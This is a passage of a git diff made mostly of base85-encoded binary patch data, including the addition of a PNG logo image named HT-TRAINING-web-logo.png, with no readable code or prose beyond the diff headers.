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%0APJubNLpK0kwg#k`k=XT_%n~=DGsqfJt3C
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

literal 0
HcmV?d00001

diff --git a/src/images/HT-TRAINING-web-logo.png b/src/images/HT-TRAINING-web-logo.png
new file mode 100644
index 0000000000000000000000000000000000000000..ca084e3529a5d1adde7f6be7c27d93fd67c8c250
GIT binary patch
literal 16066
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
